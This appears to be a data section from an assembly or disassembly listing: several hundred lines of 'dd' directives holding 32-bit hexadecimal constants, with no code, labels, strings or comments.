		dd 82471Fh, 8057938Bh, 0EFC8E7FAh, 0F91F6374h, 0B82E7117h
		dd 8142DD00h, 29364Ch, 0E5548C16h, 0DC4A0519h, 57714D12h
		dd 95473840h, 96DD22h, 194560BDh, 0B5DE6AB8h, 50BEB10Fh
		dd 8BA98084h, 7311C692h, 0FBC70095h, 4152C1B4h,	130068E8h
		dd 4BF70316h, 789751h, 28E6EDBAh, 0F966C9C1h, 0E872D400h
		dd 7FC75632h, 0B2C40785h, 80FD1722h, 42AEFE25h,	33DF3F00h
		dd 4AA20776h, 838D007Ah, 79405B61h, 640E74C5h, 0A0995A48h
		dd 0D0B5016Bh, 2E7D0682h, 98F57863h, 4BE18600h,	28311094h
		dd 976500A7h, 0AC7D2660h, 540B8084h, 5CFB413h, 2180F9B4h
		dd 77A70A8h, 615FBC2Ah,	0F1B56032h, 0AA1E071Ah,	0A880153Fh
		dd 94AF5AD7h, 9D7875h, 85CC01F5h, 518A6B5Eh, 57A9F1Dh
		dd 7DD273C1h, 0EACC1D12h, 55742840h, 48930BF0h,	6D80972Dh
		dd 67191BCh, 21C17F03h,	90531F84h, 597C1Dh, 0FDD570B3h
		dd 0A9935822h, 2180BB0Eh, 2EE2016h, 0ADF12Ah, 0C7C3CDE4h
		dd 985DB753h, 81A5A43Bh, 80333755h, 7CF9A0AEh, 0F5C6AD4h
		dd 2514C990h, 2A541FC2h, 0C45734C1h, 58005BB6h,	0BF386CDEh
		dd 0A70468h, 39DFA9B9h,	9B5EDB8Ah, 0CDF8F4F9h, 0A3B75800h
		dd 32244B09h, 0C669000Fh, 0FEEEA20Ah, 0F1ED3FEAh, 0CC610037h
		dd 0DB93005Fh, 60BCB5A5h, 0F913BE30h, 0E81FFF59h, 1C572A9Ch
		dd 9CF53447h, 30401080h, 0F06C0067h, 0E18A546h,	3B01C417h
		dd 92AE5F5Bh, 0B9E898D2h, 0B781132Fh, 6A0004Eh,	6093C15Dh
		dd 12AE7700h, 0F6B604FEh, 0A65B0EB7h, 0E040BEBDh, 3B4854C9h
		dd 3775C400h, 0FE8C667Ch, 0D2F0F64Ah, 4DC40190h, 60A7783Ch
		dd 6B00E950h, 81AFF6DCh, 0B8A264D8h, 587B0B7Ah,	0A00017C6h
		dd 62C092ADh, 0A3938A04h, 0B0ACD142h, 49CF0E7Dh, 2000E3D2h
		dd 3EEC4DE5h, 0D3397DFCh, 5E6501ABh, 0F30A7FE6h, 992C20h
		dd 8A01EDB8h, 2E3C23D9h, 56175D00h, 2D6D4A6Bh, 20551F1Eh
		dd 7A5C4070h, 0CDA73E26h, 0EB58C270h, 0EAF4781Ch, 4EB45E1Dh
		dd 0B3DC86C0h, 0E06B4B80h, 39E50008h, 7C13F3FCh, 8A00368Ch
		dd 0B30F9A24h, 0FC927A3h, 0A1F8C2F4h, 40357DA7h, 0C7BBB767h
		dd 6D721C00h, 21824AC3h, 265A004Ch, 0B8E59B62h,	2D038FC1h
		dd 0D07AC503h, 10CDC15Eh, 28C0BCE7h, 1DDFC780h,	57055D3Ah
		dd 0F9188234h, 0B60BE960h, 7799640Ah, 4C04FC33h, 0B0EC52EAh
		dd 0DA80FA38h, 4156CC75h, 409C6E46h, 52E92A00h,	72B286Fh
		dd 2FDA556Ch, 0CDE6C05Bh, 6CB66D54h, 834F7107h,	56572170h
		dd 50C4006Ah, 92DC9944h, 6B03253Ah, 0FFE4F148h,	0B8C08942h
		dd 0BA72C0E7h, 3C100312h, 0A166F56Dh, 6ADCBC98h, 710D3600h
		dd 0C45F8105h, 8E8307B6h, 809250C5h, 1F9368A7h,	0ACF7100h
		dd 4DC4489Bh, 0FE560026h, 32BB5289h, 17039DFBh,	0BDF7D3F1h
		dd 0D2400FB5h, 788060E4h, 0DAEF3ECCh, 80338F3Bh, 1FBBE934h
		dd 18EA9h, 0E409AD11h, 957D194Fh, 63008FECh, 0CC4AE692h
		dd 0C92C88h, 0DA57D5CEh, 0BC30C5A0h, 0E2729F00h, 518894B0h
		dd 6C2A00C7h, 8ECE25B8h, 0D0019919h, 86205435h,	0B3CC9A11h
		dd 29C10004h, 9D19935Ah, 0CA0EE5AAh, 0C3280B65h, 0D0D6473Ch
		dd 3F54E35h, 0DA827279h, 0F2C002C3h, 0EF0BDB8h,	7B688E00h
		dd 6BC9331Dh, 0DC74066Ch, 109D954Ch, 0B000B9FAh, 9ACB1C08h
		dd 5AB856h, 0AD8E39C5h,	5FBEEB38h, 7044938h, 3744776Ah
		dd 5EFC02F9h, 0F6840B8h, 2D290732h, 3196AF09h, 0DF5D5478h
		dd 0C1B8AB0h, 0AC078E5Fh, 4CA00676h, 2B3C46Ch, 14F57EACh
		dd 0A5E09243h, 2804E9A9h, 0AB0E65FDh, 0A30DEC81h, 5B7D64D0h
		dd 8908F040h, 7A682Dh, 0BF4F056Ch, 69643816h, 0F1D93380h
		dd 6EE5AD55h, 7A73C100h, 9E9D15B2h, 5797E0Ah, 7034966Bh
		dd 47238154h
		dd 0B28AFF2Eh, 76000CD6h, 0A6F9DB92h, 823201E6h, 50D806A7h
		dd 449984A8h, 909035DFh, 0EC8D72Dh, 7D960389h, 799C0B03h
		dd 0F44480FDh, 0B63E3CE2h, 534A82FEh, 60C691B8h, 0CB5CECh
		dd 32EBBC0Ah, 42BD1A34h, 0E400B09Ah, 0D1A9F097h, 0DE9C5Ah
		dd 0C0AFAB4Ch, 0B89E26EAh, 0B181181Eh, 3F765580h, 9D463Ch
		dd 809504E3h, 1C2592Ch,	47FF1D01h, 49235C37h, 9A99D0h
		dd 5491F984h, 94E451BFh, 5600F590h, 0E23B70D9h,	24A34BDAh
		dd 3078814h, 490CCE40h,	48ABB6E8h, 0C43D0100h, 0BC23E69Bh
		dd 0F07D7151h, 0FFA405F8h, 907C6950h, 2B86240h,	20234700h
		dd 2AF1DA7Bh, 0D7581E07h, 66600D6h, 2862BBE1h, 0C7043601h
		dd 0A4B87A09h, 1CB90CC8h, 7E30558Ah, 96FDDA87h,	43204CC3h
		dd 440E135Bh, 0C6323FFh, 0CD4BB070h, 8140065h, 6837A3F4h
		dd 0E2006EABh, 6A2DF56Fh, 1E62E0E3h, 402C08EFh,	0DEA3565Dh
		dd 6900D15Fh, 79254182h, 0B0409Ch, 0DFB57F7Bh, 0CD9E0753h
		dd 2B0020F2h, 837DB666h, 3F4CA5Ch, 5518A7F3h, 0E7F0A35Dh
		dd 560077D3h, 4DDE03BEh, 0C0A0B45Bh, 11391618h,	4026ABDCh
		dd 7D00CB1Bh, 83891C99h, 825F007Eh, 94A0AD8Ah, 6203D47Bh
		dd 0F543E84Eh, 8E70E857h, 6A4D3F04h, 9CD92E00h,	9680639Dh
		dd 0A94D61Eh, 39ACCE84h, 3F73F8E0h, 8858D0B7h, 7FE7507h
		dd 99DE0ABh, 0A10187F1h, 932D035Dh, 0FCECE88Bh,	23B81307h
		dd 3400EEF0h, 0F3523ED7h, 0BC6C00C9h, 80704659h, 0B80B09E9h
		dd 6051F019h, 9636E04h,	431DB152h, 0C0F7E0B3h, 0C888AFA4h
		dd 0A2A20FCh, 2C500881h, 1B00E78Bh, 2BCD2426h, 20FB274h
		dd 0E39E4F9Fh, 0C0FD5844h, 902FC670h, 3B9203E0h, 392E5968h
		dd 359DC8A0h, 0D3698D00h, 0F136CA96h, 2DAEEAB3h, 0C0608640h
		dd 0AB39B8C5h, 88E381DFh, 9705664h, 5C9D5FD8h, 9100074Ch
		dd 27E284A4h, 0C107500Ah, 10ACD896h, 0BFC6BF03h, 23C36B90h
		dd 0B3DA00BDh, 2817EDE8h, 0FD00A0F2h, 52514FECh, 0AE846Dh
		dd 88C69CA8h, 0D5C59143h, 799BF00h, 187AD309h, 0D76F1CE0h
		dd 46811E35h, 6661284Eh, 3A11503h, 99716BF5h, 0C0FA6901h
		dd 3C0755B4h, 0F7812F7Dh, 0FDB3822Ah, 0B218D056h, 0C04DC327h
		dd 3D0E980h, 0BC94FF38h, 0B7E0DF9Ch, 0D09690E7h, 2B778100h
		dd 0C3F92h, 0C9C24207h,	5AE9E0B0h, 0D9DF48h, 5274F163h
		dd 1F23260Bh, 424EE8F2h, 0BBB54A91h, 38790840h,	96EB1A0Fh
		dd 0D40F408Dh, 0E83B9F26h, 0B6430340h, 0C90A66ECh, 0CE959A88h
		dd 0EA82B700h, 12E9D16h, 0FA34014Dh, 0C891E8Ch,	13FE30A7h
		dd 0C482612Eh, 0ABBDFB80h, 18EDE421h, 0B89D2A50h, 3800BBDEh
		dd 1CC6C0CAh, 73DA5ED3h, 0B7AC07E5h, 0A1640C1Ah, 2062ED41h
		dd 9100D91Fh, 3C830785h, 0F3C27Ah, 42FBA155h, 0E6496BF0h
		dd 6D601F1Eh, 61B48F6Dh, 0B84ED1ACh, 467F60h, 20266B1Bh
		dd 80D08E54h, 100C0900h, 3DCCAEC1h, 0F601BFE9h,	0FD83BB7Eh
		dd 3062A4h, 5C1AC45Bh, 806856F7h, 0C00077FAh, 3E548DBh
		dd 0E336D7Ch, 7AC667E8h, 92CB8300h, 0ADF47944h,	7E5C5F04h
		dd 0A4E4CCA5h, 90B830E9h, 0E86A0210h, 42B4F90Fh, 34BB00CBh
		dd 5CDB3A11h, 0AF1D91A7h, 6518B8D9h, 0E24B2043h, 0B200767Dh
		dd 0CFA80939h, 7C7ED2h,	806578B0h, 95B9C98Ch, 0C13CB300h
		dd 0F0F4996Dh, 0DB541EC8h, 0A4984037h, 254C1CE0h, 7123A507h
		dd 52D02C57h, 1BDEA1h, 9F791D16h, 21CD6948h, 981C2417h
		dd 6FA3380Fh, 31A56040h, 90CCFF8h, 0ABCC4D76h, 1F00800h
		dd 7A009204h, 0E622FA44h, 13673065h, 0C88D5Fh, 506A136Dh
		dd 8300CE71h, 2A5EAA42h, 1FC6072h, 0C5BE9B9h, 0F462A9E6h
		dd 0DC03E782h, 0C22B7C6Bh, 70B5F2BDh, 0A31800ACh, 2CEA2009h
		dd 0ED038EA7h, 0C5B4C1ADh, 0F87BC3E1h, 2D9EEFh,	3557859Bh
		dd 8B2A75C3h, 26342802h, 0C0812B3Eh, 1E1AD5E8h,	0D8BAEAC8h
		dd 9941CECEh, 64F02400h, 0B1E8B70Bh, 0FBBB00AAh, 8820D5E4h
		dd 963D6E3Ch, 3CE3588Eh, 0D590FF1h, 795E0081h, 5ADF818h
		dd 86069ACCh, 8A08E06Ah, 1A4A0E78h, 0D7746C00h,	0B25397h
		dd 0A4A6D6C6h, 0E4F75F76h, 7DC9A901h, 0F83E95A3h, 0FBE7E0h
		dd 46CDD893h, 0A51F39F4h, 0B91F2190h, 0B3404407h, 0D0414E4Ch
		dd 0AA6F00AFh, 0BBE65013h, 8D73778Fh, 0F3E12800h, 0A54A5465h
		dd 0EFB71ABh, 68EA89FCh, 0DB001C6Fh, 40320BBAh,	51001D7Ch
		dd 0B235B66Eh, 0BC4EEF63h, 618D00D4h, 0F1CE775h, 0C7653F6h
		dd 471387B0h, 5C1F0182h, 0A8CDF817h, 48E6F2EBh,	30F3BC90h
		dd 0D3D9C8E2h, 4801CD2Dh, 8526D289h, 887030E0h,	56D0395Ah
		dd 55005848h, 4623BDDDh, 727408C5h, 805EBE00h, 0BA883BB6h
		dd 0A1A709Ah, 0AA86CD44h, 76EF0088h, 0B37C2FE3h, 77660200h
		dd 0EBFA53E2h, 5CE4005Dh, 0AA26BEC0h, 5E00A05Ah, 0DE7C77E0h
		dd 2AEC30h, 4D7A64D3h, 0E4FE1D0Ch, 0BD9CF11Dh, 5D0E0501h
		dd 0C1F83548h, 0B91A0021h, 4445B814h, 2D002F75h, 0B44154FDh
		dd 8E159Ch, 6D53622Eh, 0BB87455Ch, 1E00B7E8h, 0D713A00Dh
		dd 556895h, 0D35626C2h,	6B10E8E2h, 0F22AB600h, 0A09DAD20h
		dd 0ACC00109h, 0E7645D4Fh, 580CE469h, 31B61F01h, 68B84CFAh
		dd 0E46EF1E0h, 0CDF8004Dh, 2AC5A5AEh, 6450DDEEh, 99003AD0h
		dd 24354EC6h, 3D6D9C66h, 0A7806E05h, 4A1B61F3h,	0ECF503E8h
		dd 0D91F8C2Ah, 0C1C04DD5h, 0F6F0FE0Eh, 2EEA3CA3h, 0C5FB3CF3h
		dd 9A805538h, 7D5DE116h, 87C1992h, 323DCB01h, 0F589ACA8h
		dd 0BA0C8h, 16073412h, 4990C2DBh, 66BEA200h, 0AADA41C6h
		dd 0AEBC0025h, 974F0D77h, 0FF076879h, 81A68093h, 45498F30h
		dd 0FD8A001Ch, 2C0D99E6h, 143CADDAh, 8E9C8786h,	0B8B18458h
		dd 8CE482D2h, 0EE610411h, 0AE2407E9h, 0B1804B00h, 13CBB28h
		dd 0A86860FCh, 60BE5A88h, 0F600CD83h, 53EBD445h, 0EC8723h
		dd 2DD01E9Eh, 633D41AFh, 97BCCF00h, 36C67E72h, 0CB10059h
		dd 5C6A4F3Bh, 33283AFEh, 5803B2B7h, 1283BC3Fh, 46EEF974h
		dd 68A1ECh, 30B6F592h, 0D886B319h, 0B1496900h, 10E9EFE7h
		dd 1272D1h, 0F2BAE3A8h,	89EB2064h, 0E8A59A00h, 199047F8h
		dd 0B85AF09Ch, 1FA89816h, 3FF94F03h, 40F5859Ch,	0DEA776BDh
		dd 0E30113E0h, 39E94A33h, 0B6E0FE2Eh, 20E539B5h, 17AAD083h
		dd 0B4B82A3Ah, 0B938D21Bh, 4A3F830Ah, 0C81DDA98h, 3EBBAEh
		dd 9458EFC1h, 0FC9F976Fh, 1AC9E800h, 0EDC64F78h, 0A4C2006Eh
		dd 45260E22h, 7D00EF58h, 0C18765E7h, 0DED9E6h, 3CF09F92h
		dd 7079C954h, 3C850238h, 6D9A9846h, 0E9CDD2h, 7B4212C5h
		dd 9C20C3D5h, 0DAF22FF2h, 0C1E24A00h, 9DBE4488h, 5E9303D4h
		dd 0ABF9DD2Dh, 0C5D868D3h, 0E078F14h, 3A8AAE52h, 0FAD6A031h
		dd 64582080h, 409188DEh, 0D3D55901h, 0E15B3B9Ah, 0F2256DCh
		dd 33EE9952h, 0DC8B2700h, 2E002311h, 4DC0728Dh,	8E9E28h
		dd 620FF484h, 0B9018B35h, 8202C403h, 0DA397350h, 604BC0F2h
		dd 21C20E05h, 46608B3Bh, 0D3A1B0DAh, 2CF348h, 0B9D12288h
		dd 0E70EECh, 0DB6F57BFh, 0DEA546AAh, 2DB2BC00h,	29D479B3h
		dd 0C087428h, 0DC963BFAh, 65076AA4h, 2F0D314Eh,	0DBB257C0h
		dd 64D8001Ah, 7B22244Bh, 0B800C0C6h, 0BD12D08Dh, 7995333h
		dd 691F6B81h, 0C4F5632Ah, 4392CD88h, 51044201h,	7D6B6260h
		dd 3920B0E9h, 0A5701E5h, 0F0B17E18h, 29F1C0DDh,	0D0DA3F00h
		dd 94272BA7h, 26E260CFh
		dd 5A28E8DFh, 195A1FF4h, 4A0A1C0h, 0B5600FEDh, 4F05F443h
		dd 3E98C1B4h, 4C40EA0Ch, 1F002C50h, 558A0AA0h, 0A7CB9Bh
		dd 2516F170h, 0CC3FF60Dh, 0DD8DB300h, 9993838Ah, 1F84020Ah
		dd 3A6496D2h, 10801843h, 3F00C0FFh, 0C2A8D9E9h,	3EAE72F7h
		dd 899C5D02h, 2826CBBFh, 0BA7B1901h, 0CFBD3098h, 0A50023F4h
		dd 0EF19B7AAh, 0E051B5h, 3D725C73h, 0B637981h, 1B416100h
		dd 0CF135BA4h, 8B8F010Fh, 534EE056h, 3AA0E71Dh,	0B3004DD1h
		dd 5147CC38h, 1C44AC71h, 9DC97FE8h, 0F0F88374h,	0D9C83635h
		dd 7D00EA2Eh, 830CA550h, 1DC69A27h, 0C0E51076h,	1467F296h
		dd 8700462Eh, 7F5CCB8Fh, 70A71D4h, 176AF62Ch, 766FB0C4h
		dd 0D897B5BCh, 7863EC6h, 0AEF6C816h, 35F3600h, 1FB82511h
		dd 5D52140Ch, 0C611D4Ah, 6EC6C592h, 27F1EC03h, 80944C6Fh
		dd 0DEC42Bh, 98561FEEh,	542FB131h, 0A42C3E03h, 0A86C7FF7h
		dd 292053h, 0EF4B52FFh,	972D6BC8h, 8FBB4Ch, 2488789Bh
		dd 0AC21E6h, 0F9F48670h, 56AD1287h, 3EC4B00h, 0E289FEE0h
		dd 11BF643Fh, 0CCDE012Eh, 56E005BDh, 0F244038Ch, 4636B2C5h
		dd 0D61487B0h, 4117F998h, 0C5005390h, 1BAF9209h, 0AD7601ACh
		dd 7F01DE72h, 4350D155h, 0A9E01CF0h, 0E500E887h, 5FB4EA69h
		dd 0F80A852Fh, 28E5A0D1h, 45AE24B2h, 0BEA900B1h, 54FA238Bh
		dd 267FB14h, 80D83BA0h,	3FEB7684h, 6699E4h, 352146B9h
		dd 79049CCh, 278538h, 6CBFF854h, 50640AD5h, 0DA2082h, 5BDCE6F1h
		dd 5E482C40h, 1E0E42E8h, 1B15AF4Ch, 0A88EF0h, 0EB5CECA0h
		dd 43E3F820h, 65942D00h, 0CA71B1A4h, 242B0C3Ch,	0F658667Bh
		dd 0FC3A1300h, 0B13D4B54h, 0E93E001Fh, 9168FAC4h, 9A00DAE5h
		dd 0E229226Fh, 37C3Bh, 0C2B16096h, 6ECE935Ch, 6F4C8B4Ch
		dd 0C01D670h, 0AB9FE9B5h, 6FBEF8h, 11D064C8h, 55B17834h
		dd 36CB4800h, 8280FCB2h, 510E00E0h, 4CFD0504h, 0D300C947h
		dd 0E656063Ch, 423654h,	21196B53h, 0E9220148h, 3E85773Dh
		dd 175E85F0h, 0FC0037B1h, 93690A52h, 58F20068h,	0AFA6162Bh
		dd 63006532h, 7C09AC9Dh, 1599B771h, 90DA5497h, 3C86FE00h
		dd 8B2974ADh, 997F0E00h, 1791DD5Dh, 144D0037h, 276FF2EAh
		dd 40E584C0h, 0F4CF72B0h, 1D48A000h, 0D6665134h, 0F8C30262h
		dd 8C1AE8AEh, 52D3C4A0h, 1F036DA4h, 49B8CB21h, 5F180FC2h
		dd 0B877AA3h, 8059A03Dh, 9B1E371Eh, 7D00D27Fh, 71D13B07h
		dd 0D8EE0060h, 52ABF0CBh, 8303A270h, 78DB7EECh,	0B942A8F2h
		dd 0F069739Bh, 6CAD00A5h, 0DB8E1413h, 0F1E81704h, 69987700h
		dd 924ACF1Fh, 7DD100B2h, 0ADFD958Bh, 8907E184h,	806C5456h
		dd 3FDEBDE0h, 0F0573D5Bh, 97ADFA00h, 0E18131A9h, 0B9456E07h
		dd 0C35F1F18h, 8107EC8Ah, 38E57A1Dh, 22891EF3h,	0B38E0040h
		dd 0FDEF61BFh, 385AD20Fh, 4F60A025h, 0F0461AD4h, 31781502h
		dd 550160EEh, 3B6150A3h, 16000B2Dh, 0ECCF4DB4h,	0BB1CEDA5h
		dd 98B0C9BCh, 1A91E85h,	4EF97808h, 8049DC4Ch, 14943770h
		dd 0B204F0h, 0DB60FF5Eh, 787B98C1h, 7E84900h, 97631CEh
		dd 945D00BCh, 2B911B23h, 0C200521Fh, 958A4C2Eh,	3AAF7249h
		dd 43D8E32Ch, 70296600h, 8569B35Eh, 87EDE00h, 0EBA0AB1Bh
		dd 59F00055h, 0A6BFA58Ch, 507A86Fh, 25C6389Ah, 0A6EF900h
		dd 815D0441h, 0C74F271Dh, 0CCAD8111h, 82976095h, 0F7FD7401h
		dd 9BEF8853h, 0CD8730h,	86A99FE7h, 7C90468Dh, 997FF672h
		dd 9D940E0Eh, 6700764Dh, 0A995A1FDh, 87B03013h,	3FED8831h
		dd 0C2D89C00h, 8A9BC4CCh, 0CD7F3C73h, 75F50400h, 3EBC969Eh
		dd 0CF2FF801h, 329063FBh, 70E99FCh, 47FD060Dh, 458F6E1Fh
		dd 312EC500h, 330093CFh, 4DC4AE35h, 5AB8A8h, 478D87CAh
		dd 0AF8B44DEh, 0FD7C537Ch, 1E79FB00h, 73EA264Dh, 5CA41DE8h
		dd 889CC01Ah, 0AEAD3260h, 0E4DC0903h, 90BAB556h, 3F944E20h
		dd 8F81E2D6h, 3C249043h, 89F4D0A3h, 0C7545203h,	0B0B6974Eh
		dd 78694A49h, 0E879241Dh, 0F7F4001Fh, 0D79FA667h, 1FA5410Eh
		dd 36278076h, 6BA3BBh, 0AC69F6C7h, 8C82627Ch, 3A689A01h
		dd 4F5E0364h, 20255088h, 0C3F91060h, 0BBF219Ch,	17005291h
		dd 92DA8733h, 0CA330D2Bh, 0D1F03951h, 2F60A50Ah, 3170F08Bh
		dd 7908BFC0h, 0B13FC0D7h, 0D17E0D00h, 84EA1DFFh, 1A7B0054h
		dd 957C2B63h, 7927DC9Eh, 4DCB80A7h, 3350E925h, 83104580h
		dd 1B90D5B8h, 24163A03h, 0A115FE9Ah, 20802527h,	209BDAE3h
		dd 9800235Ch, 2B056DDh,	792AD45h, 6DCE0642h, 0F681F0E0h
		dd 0C31D79DBh, 0A03008BCh, 7884B43h, 341B9E99h,	90D6078Ch
		dd 0CFE0D9B0h, 9B5B4238h, 0A8E9434Fh, 701893h, 0A597031Bh
		dd 844BBEC0h, 7C64880h,	1EF8BA91h, 813651DAh, 50A0E5FDh
		dd 8E20BD84h, 0C18AF41Eh, 24EC1180h, 11BB2D2h, 1A3F41AAh
		dd 809576B3h, 3D531999h, 0C0C87E4h, 0EBBFA7FCh,	0B0A88408h
		dd 4000A839h, 178361A4h, 0ECAC323Dh, 0EAFB0693h, 0B080DC1Bh
		dd 9C2DB500h, 6D636604h, 0FFF800FDh, 613E06E2h,	0BA03841Ah
		dd 40D67FAAh, 4B18C8BEh, 5368001Dh, 0D338F8CBh,	0A77C02F7h
		dd 0EE2AD0Eh, 94E0A13Eh, 56E06222h, 0BEE50F2Bh,	660B6B9h
		dd 46E239Fh, 0CFF4FE7Ch, 0C53FDB01h, 5B44D6E5h,	565ECh
		dd 0CB01390Dh, 7A58FC9h, 520033B8h, 963C138Ah, 17553B6h
		dd 420AA22Fh, 0C418B3E7h, 1428E9ECh, 7600C530h,	77A1A0Ch
		dd 206F01h, 2372E826h, 359B3DF4h, 0B81D0A00h, 813A1956h
		dd 3920029h, 7B52D1FEh,	630F7C9Ah, 802BFFCCh, 626BE748h
		dd 0AEEC0712h, 8B0A254Eh, 0B5A8B903h, 460CA8B6h, 508CEEF2h
		dd 973B0080h, 551A88CEh, 1003FE1h, 5D83792Bh, 3DB7928Dh
		dd 2307D049h, 0D0748510h, 0C2F0E365h, 0EE4B6600h, 0BCCAEDC1h
		dd 1B38C040h, 4676C048h, 89E2351h, 0BB3AD69Ch, 5A3B0070h
		dd 8299A759h, 8FBA002Dh, 0DC8949ABh, 8D00E550h,	0FD0AD6A0h
		dd 3067F012h, 0E890E20Dh, 88000979h, 1DC65D3Ch,	0B0F48028h
		dd 0CD2729F5h, 0B5C00304h, 0D5E03BB3h, 0DD006F71h, 67C99EE5h
		dd 7DF75A51h, 0E11F3F0Ah, 0D9665580h, 0E9D77110h, 352880E3h
		dd 45A5253h, 96731CC0h,	0AD7087E1h, 60AC60DBh, 0B81F338Ch
		dd 0B1C053A7h, 0D4F4D79Dh, 926C006Eh, 0AED55D98h, 44E25C7Bh
		dd 0A0CBBA00h, 0CE9D0174h, 40AC0013h, 4E158CD0h, 490086E2h
		dd 1DB633BCh, 0ED204F6h, 3F03F89Ch, 4CFC5320h, 79B8A869h
		dd 6C5B3D00h, 0C32D6162h, 0BDAE13A9h, 0AD9F00BBh, 0A7470831h
		dd 84667600h, 0CEC526D9h, 1D740755h, 92E3FE4Ah,	69E0E179h
		dd 0A1002D39h, 0DC59B444h, 0A4C3F2h, 0CC51F321h, 0AE813FD0h
		dd 3C9B2D00h, 0BD907F2Bh, 35D00DAh, 0A411C499h,	0B3003118h
		dd 8959E01Eh, 7BF26FCh,	4F6ECB56h, 0C52A0A7h, 0AE008C03h
		dd 0F653D4B8h, 0B686B4h, 5F5B4382h, 879CEBE8h, 6DC2A40Dh
		dd 5DF01061h, 4374006Eh, 88E8BDDh, 0D30029C4h, 0A1D6F185h
		dd 0E43BABh, 0A70C70E1h, 7685932h, 0D0006BF6h, 48505787h
		dd 0CCD330h, 0DE7CA7DFh, 0D1EF160Ah, 89640E00h,	915A4096h
		dd 6FDF3FF4h, 7CED7780h, 0CEBE2C02h, 0FC3ED074h, 0A2DD008Dh
		dd 8A395513h, 0D2330091h, 67C202D3h, 260087E0h,	0ECF78B3Dh
		dd 717E12h, 7728673h, 27FBE6F4h, 0B6AA100h, 0DA29808h
		dd 3F7400A7h, 8D529FF1h, 100E71EEh, 60791E11h, 0F7903EE7h
		dd 31A50166h
		dd 425F52C7h, 8901F06Fh, 8C885D00h, 0E8B3ED27h,	0CD6000D5h
		dd 386829CFh, 8D0050F8h, 19BD2C34h, 319246h, 0DC56A1Eh
		dd 74644DADh, 0BCF63B7Ah, 3D57BF00h, 37CEC3DEh,	0BE266h
		dd 0EDEA01E3h, 90F6CF4h, 33048h, 0D4E6A823h, 0E45DC9h
		dd 642DBB12h, 0CF8CB56Eh, 0B940F000h, 782CC522h, 4BD00BD6h
		dd 81006FE7h, 0C6E6E13Dh, 6AA2EA00h, 0C7ACD1C2h, 0F5113D14h
		dd 0F3B138E0h, 0A30169AEh, 0F60B56Fh, 93F04F2Eh, 0F074DDh
		dd 18DAF608h, 0AEB51ED0h, 0BD3A2C00h, 4ADF2487h, 0EA410077h
		dd 690F7BCAh, 23267FFBh, 8A002583h, 82780A1Ch, 523000CBh
		dd 0E19E09FCh, 9B28E56Ch, 5F03A881h, 5EAA977Bh,	166AD967h
		dd 0FF43DE8h, 5DE498ACh, 0B1361361h, 0F748C40Ah, 84294C00h
		dd 9035C143h, 1C4B07DFh, 0F0ECE6FAh, 63FD6617h,	0CE00C4E0h
		dd 0ACC0725Fh, 0EC6CF22h, 0C078D56h, 0DBB41A0h,	6E01DC19h
		dd 0CCA3161Ch, 54CC8A91h, 0BC90EAh, 5AB1770Ah, 898CD656h
		dd 0DDB92500h, 0BAAE16F4h, 0C4B21D4Fh, 0F670A706h, 4CD4ED00h
		dd 0FA7EF484h, 2A6A000Fh, 5A21A9CBh, 4D01F25Fh,	921077CAh
		dd 0C5304296h, 57E070h,	3A47310Dh, 8A54BF5Ah, 0EA30B200h
		dd 0E2A8FCE0h, 0CFEF0042h, 27F356D0h, 7F03EB62h, 0D78FD2F1h
		dd 0D0A99B53h, 0F809A483h, 0A880F9E7h, 50608620h, 1B0069EFh
		dd 1CCF830Eh, 0F60C99CBh, 2A5A00B9h, 98E3A76Dh,	6909209Dh
		dd 8A601D6Ah, 0B00C749h, 408F524Ch, 0F76F413h, 0B0056854h
		dd 6DEF6260h, 3D00C30Ah, 1D592DB9h, 88C8ADh, 0A38A7AB8h
		dd 0C702521Ch, 2A5F0600h, 28B98BABh, 0F3EC1766h, 40B21CEBh
		dd 973A6F69h, 7017133h,	0B4E070BCh, 8C40959Dh, 8A4CD9h
		dd 0D49A6EA9h, 0D51A792Ah, 3EBD9400h, 9C310633h, 705E60DCh
		dd 0CB581F4Eh, 0FA4B7C00h, 0B88F3BA8h, 27C30005h, 40DD2A6Ch
		dd 41007B8Eh, 0A2F9C248h, 304286D2h, 0E2304E56h, 0F007F378h
		dd 9DF64ABh, 143256h, 9FD2960Eh, 0F9913F8Ch, 0DCF3C103h
		dd 0AA723D79h, 0FEFA402Ch, 635C0B22h, 6E00FDB4h, 0EF3F7DEDh
		dd 8F415139h, 3F99D818h, 0CAC43000h, 1B8B4F5h, 0B2558F79h
		dd 2043DA98h, 0FC004ADEh, 0E30DDD62h, 0D6FECAh,	0F4296358h
		dd 893BD251h, 53C30100h, 0B7972146h, 14751C3Eh,	5D5800AEh
		dd 8E030586h, 0F27D8100h, 855BF394h, 0BCA60007h, 77FEDD64h
		dd 0B900EAD1h, 0EE2BADCEh, 7B13A94Ch, 0E0F200AFh, 0BB8F1D61h
		dd 57006D1Ch, 6244CD42h, 533828h, 0B64FFD97h, 55067209h
		dd 80874900h, 9FE241ABh, 4CCC004Bh, 993188D9h, 0F678EA0Bh
		dd 221E9C76h, 0C70F19F3h, 9A516361h, 72DEF840h,	0AE6017B3h
		dd 166500CBh, 0C78C870Dh, 57905400h, 0FAF1E33Ch, 0C1E693h
		dd 0CAF405E6h, 56B172BEh, 0FC005878h, 6830AB1Dh, 0ABF75h
		dd 98CFD815h, 5C8B2F82h, 16206B00h, 69140961h, 108FC02h
		dd 0DB1DD26Fh, 50F7674Dh, 0FE9ECEF8h, 0D4EB5E07h, 45303BD1h
		dd 988F94h, 0AE09F89Ah,	6819C5D7h, 0F401067Ch, 0DA36CE0Eh
		dd 1DE899A2h, 0C49B0018h, 7CA01113h, 66FE5788h,	9F0E7B00h
		dd 0EE6935EDh, 2AB0115h, 4645445h, 7796D4CFh, 0FF830539h
		dd 6082BB00h, 813AD16Ch, 10BD60FFh, 0C5D510DDh,	0A1B41200h
		dd 0E321872Eh, 0DF530049h, 95E4CAC3h, 6091AAFh,	0C9A44Ah
		dd 370E6280h, 0A6F507E0h, 0ABFE402Eh, 5125A180h, 79002F7Eh
		dd 6E34BDA5h, 4E2ED48h,	0A3DCACADh, 4AEA83F0h, 4282B200h
		dd 182B53B7h, 146A007Fh, 2DC91276h, 4C003694h, 4345AE8Fh
		dd 0B4D3DEh, 0B951CCA9h, 0C24BFCF4h, 0D0687200h, 59B64A93h
		dd 9CEC26h, 23B3B71Ch, 87D97727h, 8030F039h, 0DC2F3510h
		dd 266A4Ch, 0FB8BAA22h,	0A464ED6Ch, 7F891400h, 1640A84Bh
		dd 3FBF00EAh, 31C98C05h, 0BD007B1Bh, 12B95D46h,	88697Dh
		dd 0B11874BFh, 8B705F37h, 721A1500h, 6F464F52h,	4EEE50h
		dd 8AA62DAFh, 491E9F6Bh, 7637B06h, 39E55Ah, 0F965FE38h
